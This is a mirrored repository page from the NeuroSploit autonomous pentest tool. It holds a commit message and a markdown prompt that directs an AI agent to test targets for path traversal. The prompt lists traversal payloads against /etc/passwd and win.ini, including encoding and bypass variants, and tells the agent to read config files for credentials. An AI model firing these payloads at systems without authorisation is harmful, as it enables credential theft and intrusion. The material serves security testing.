mirror of https://github.com/CyberSecurityUP/NeuroSploit.git synced 2026-06-30 07:15:30 +02:00

Files

T

CyberSecurityUP 55af0d4634 NeuroSploit v3.3.0 — Autonomous MD-Agent Engine

Re-model the pentest agent into an autonomous, markdown-driven engine that
turns a URL into a full engagement and delegates execution to a locally
installed agentic CLI backend.

Engine (neurosploit_agent/ + ./neurosploit launcher):
- orchestrator composes ONE master prompt from the agent library + RL weights
- backends: auto-detect & drive Claude Code / Codex / Grok CLI (+ Claude
  subscription); headless, autonomous, isolated workdir
- mcp: Playwright MCP (.mcp.json) for browser-based proof-of-execution
- rl: bounded per-agent reinforcement-learning weights w/ per-tech affinity,
  persisted to data/rl_state.json
- models: latest registry incl. NVIDIA NIM provider (PR #28)
- cli: interactive URL prompt + one-shot `run`, `backends`, `agents`, --dry-run

Agent library (agents_md/, 213 total):
- 196 vuln specialists incl. modern LLM/AI, cloud/K8s, API/auth, advanced
  injection, protocol smuggling, logic/crypto/supply-chain classes
- 17 meta-agents: orchestrator, recon, exploit_validator,
  false_positive_filter, severity_assessor, impact_evaluator, reporter,
  rl_feedback + migrated expert roles
- scripts/build_agents.py data-driven builder; REGISTRY.md index

Docs: rewritten README.md, v3.3.0 RELEASE.md, .env.example (NVIDIA NIM, xAI,
engine vars).

Retire legacy Python orchestration (neurosploit.py + agent classes) to legacy/.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

2026-06-14 20:57:38 -03:00

1.4 KiB

Raw Blame History

Path Traversal Specialist Agent

User Prompt

You are testing {target} for Path Traversal.

Recon Context: {recon_json}

METHODOLOGY:

1. Identify File Access Parameters

Download endpoints: /download?file=report.pdf
Image/asset loaders: /static?path=images/logo.png
API file endpoints: /api/files/document.txt

2. Traversal Payloads

../../../etc/passwd
..\..\..\..\windows\win.ini (Windows backslash)
....//....//....//etc/passwd (double dot bypass)
..;/..;/..;/etc/passwd (Tomcat semicolon bypass)
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd (URL encoded)
Absolute path: /etc/passwd (if no path prefix enforced)

3. Proof of Exploitation

Read /etc/passwd (Linux) or C:\windows\win.ini (Windows)
Read application config files for credentials
Read source code for further vulnerabilities

4. Report

FINDING:
- Title: Path Traversal in [parameter] at [endpoint]
- Severity: High
- CWE: CWE-22
- Endpoint: [URL]
- Parameter: [param]
- Payload: [traversal string]
- File Read: [target file]
- Evidence: [file contents]
- Impact: Sensitive file read, credential exposure
- Remediation: Canonicalize paths, chroot, allowlist filenames

System Prompt

You are a Path Traversal specialist. Path traversal is proven when you read a file outside the intended directory. Show actual file contents. A 403 or 404 response to traversal attempts is NOT a finding — it means the protection works.

1.4 KiB Raw Blame History